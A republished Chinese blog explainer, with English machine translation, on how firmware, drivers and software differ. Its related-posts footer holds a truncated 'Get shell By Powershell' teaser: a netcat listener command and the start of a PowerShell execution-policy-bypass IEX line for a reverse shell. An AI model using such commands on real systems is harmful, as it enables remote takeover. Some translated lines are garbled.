图解固件、驱动、软件的区别

大家好,我是良许。

不管我们使用什么操作系统,无论是 Windows、macOS 还是 Linux ,里面都安装了许多软件、驱动程序和固件。但是,这三者概念有区别呢?

我在朋友圈做了个小调查,发现很多人都不知道他们的关系,所以我写了这篇文章,给大家一个简单的科普。

[En]

I did a little survey in moments and found that many people didn’t know their relationship, so I wrote this article to give you a simple popular science.

图解固件、驱动、软件的区别

文字描述太抽象了。让我们直接去看漫画吧。

[En]

The text description is too abstract. Let’s go straight to the comics.

图解固件、驱动、软件的区别

图解固件、驱动、软件的区别

图解固件、驱动、软件的区别

图解固件、驱动、软件的区别

图解固件、驱动、软件的区别

好了,看完漫画,我们来看看正式的讲解。

[En]

All right, after reading the cartoon, let’s take a look at the formal explanation.

简单地说,固件、驱动程序和软件的根本区别在于它们的设计目的。

[En]

To put it simply, the fundamental difference between firmware, drivers, and software lies in their design purpose.

  • 固件是一种赋予设备硬件生命的程序
    [En]

    firmware is a program that gives life to the hardware of a device*

  • 驱动程序是操作系统和硬件组件之间的中介
    [En]

    the driver is the intermediary between the operating system and hardware components*

  • 软件可以间接操作硬件

1. 固件

固件(Firmware)就是写入 ROM (只读存储器)中的程序,固件担任着一个系统最基础最底层工作,直接控制硬件,比如计算机上电后第一个启动的程序 BIOS ,它可以与硬件交互,并检查它是否有任何错误。

BIOS 调用另一个称为引导加载程序的程序,该程序执行唤醒在硬盘驱动器内休眠的操作系统并将其放入随机存取存储器 (RAM) 的工作。

我们可以在许多设备上看到固件,包括计算机、手机、遥控器、游戏机、智能手表、USB 驱动器和各种嵌入式系统。即使是电视遥控器也有一个预装的固件,可以实现你按下按钮的时候电视换台操作。

2. 驱动

驱动(Drive):驱动程序即添加到操作系统中的一小块代码,其中包含有关硬件设备的信息。当计算机程序请求与某个硬件设备交互时,设备驱动程序充当硬件设备与使用它的程序之间指令的转换器。

操作系统并不支持机器上的所有硬件,所以一般来说,硬件制造商必须为自己的硬件编写驱动程序。

[En]

The operating system does not support all the hardware on the machine, so generally speaking, hardware manufacturers have to write drivers for their own hardware.

每个驱动程序都设计用于特定的设备或设备组。在计算机上,驱动程序使用各种总线接口来联系设备。此外,司机一般不与用户直接互动,因此许多用户完全不知道他们的存在。

[En]

Each driver is designed to work for a specific device or group of devices. On a computer, the driver uses various bus interfaces to contact the device. In addition, drivers generally do not interact directly with users, so many users are completely unaware of their existence.

驱动程序开发需要非常小心,因为它直接与硬件和操作系统打交道。如果设备驱动程序有问题,可能会导致系统崩溃,这就是为什么需要专业人员或团队为设备编写驱动程序。

[En]

Driver development needs to be very careful because it deals directly with the hardware as well as with the operating system. If there is a problem with the device driver, it can cause the system to crash, which is why professionals or teams are needed to write drivers for the device.

但是为什么不把 Firmware 做的很完美,做的不需要驱动支持呢?因为有不同的操作系统,而这些操作系统对于操作硬件的方式完全不同。所以不同操作系统的驱动是不能兼容的,原因就是驱动是为操作系统服务的。

3. 软件

与硬件不同,软件运行在计算机上,看不见,摸不着。

[En]

Unlike hardware, software runs on a computer, invisible and untouchable.

操作系统也是一种软件,并为安装在操作系统上的其他软件提供工作空间。前面提到的设备驱动程序实际上是一种软件,但它有一个更细分的类别,称为系统软件。

[En]

The operating system is also a software and provides a workspace for other software installed on the operating system. The device driver mentioned earlier is actually a kind of software, but it has a more subdivided category, called system software.

如果用户编写了一个软件,想要操作硬件(比如光驱、U盘等),他必须通过操作系统提供的接口来实现,而无法直接与硬件交互。

值得注意的一点是,软件是一个广义的术语。我们在日常使用中所说的「软件」一般是指应用软件,比如:微信,QQ,浏览器等等。

还有什么你不明白的吗?欢迎在评论区交流。

[En]

Is there anything else you don’t understand? welcome to communicate in the comment area.

原创不易,欢迎点赞,转发朋友圈,谢谢!

[En]

Original is not easy, welcome to like, repost moments, thank you!

Original: https://www.cnblogs.com/yychuyu/p/15590252.html
Author: 良许Linux
Title: 图解固件、驱动、软件的区别

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/524333/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    086
  • 搭建部署Docker

    Docker安装准备: 首先看下服务器是否有旧版本,如果有需要卸载并且安装依赖 然后下载docker仓库repo源: 安装完成后查看docker仓库版本信息: yum安装docke…

    Linux 2023年6月8日
    096
  • jquery ui实现文字下拉联想

    效果图:输入”伤寒”两个字,会自动联想下拉展示带有”伤寒”两个字的内容 前端用的是jquery ui做展示,后端数据接口是json数…

    Linux 2023年6月7日
    073
  • 【设计模式】Java设计模式-外观模式

    Java设计模式 – 外观模式 😄 不断学习才是王道🔥 继续踏上学习之路,学之分享笔记👊 总有一天我也能像各位大佬一样🏆原创作品,更多关注我CSDN: 一个有梦有戏的人…

    Linux 2023年6月6日
    0142
  • .NET客户端实现Redis中的管道(PipeLine)与事物(Transactions)

    序言 Redis中的管道(PipeLine)特性:简述一下就是,Redis如何从客户端一次发送多个命令,服务端到客户端如何一次性响应多个命令。 Redis使用的是客户端-服务器模型…

    Linux 2023年5月28日
    0108
  • 使用Kotlin协程配合Retrofit发送请求

    Retrofit2.6开始增加了对Kotlin协程的支持,可以通过suspend函数进行异步调用。本文简单介绍一下使用Kotlin协程配合Retrofit使用,发起网络请求。 ap…

    Linux 2023年6月8日
    094
  • 网络安全常见术语

    黑客帽子之分 白帽 白帽:亦称白帽黑客、白帽子黑客,是指那些专门研究或者从事网络、计算机技术防御的人,他们通常受雇于各大公司,是维护世界网络、计算机安全的主要力量。很多白帽还受雇于…

    Linux 2023年6月14日
    083
  • Linux系统卡死后紧急处理

    前言:Linux系统卡死了的情况有很多,最常见的是系统负载过高导致的。还可以运行内存耗用极大的程序(如虚拟机),也会迅速提升系统负载。注意:不能再试图依赖任何图形界面的东西,如 G…

    Linux 2023年6月7日
    087
  • Monte Carlo 机器人定位——基于直方图过滤器的机器人定位方法

    本文为学习课程:https://classroom.udacity.com/courses/cs373 后的相关阶段总结,供个人学习也供大家参考。如有表述不当之处欢迎评论区指出。 …

    Linux 2023年6月14日
    0113
  • mysql查询中字符串转换成数字

    在操作mysql时,经常需要将字符转换成数字,这一步虽然简单,但不常用的话也很容易忘记,现将在网上找到的方法记录如下: 1.将字符的数字转成数字,比如’0’…

    Linux 2023年6月13日
    067
  • 开发环境的搭建

    ​ 一:ubuntu14.04 LTS开发环境搭建 1.1、参考博客 参考的教程如下: ubuntu老版本下载地址 VMware下Ubuntu Server 14.04安装教程(最…

    Linux 2023年6月13日
    077
  • Haproxy

    Haproxy Haproxy haproxy简介 负载均衡 Haproxy搭建http负载均衡 lvnanhai、RS1、RS2都关闭防火墙和selinux RS1和RS2部署h…

    Linux 2023年6月6日
    085
  • 在.NET中体验GraphQL

    前言 以前需要提供Web服务接口的时候,除了标准的WEBAPI形式,还考虑了OData、GraphQL等形式,虽然实现思路上有很大的区别,但对使用方来说,都是将查询的主动权让渡给了…

    Linux 2023年6月6日
    0122
  • SpringBoot + Vue + ElementUI 实现后台管理系统模板 — 后端篇(四): 整合阿里云 短信服务、整合 JWT 单点登录

    (1) 相关博文地址: SpringBoot + Vue + ElementUI 实现后台管理系统模板 — 前端篇(一):搭建基本环境:https://www.cnblogs.c…

    Linux 2023年6月11日
    092
  • Cisco 7200 路由 PPPOE 拨号详解

    R1(config)#vpdn enable #启用vpdn虚拟专用拨号网络 R1(config)#interface dialer 1 #定义拨号器1 R1(config-if)…

    Linux 2023年6月6日
    086
  • 数据库备份数据脚本

    #!/bin/bash currentpath=dirname $0 if [ ${currentpath} == ‘.’ ];then currentpath=pwd fi ba…

    Linux 2023年6月8日
    068
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球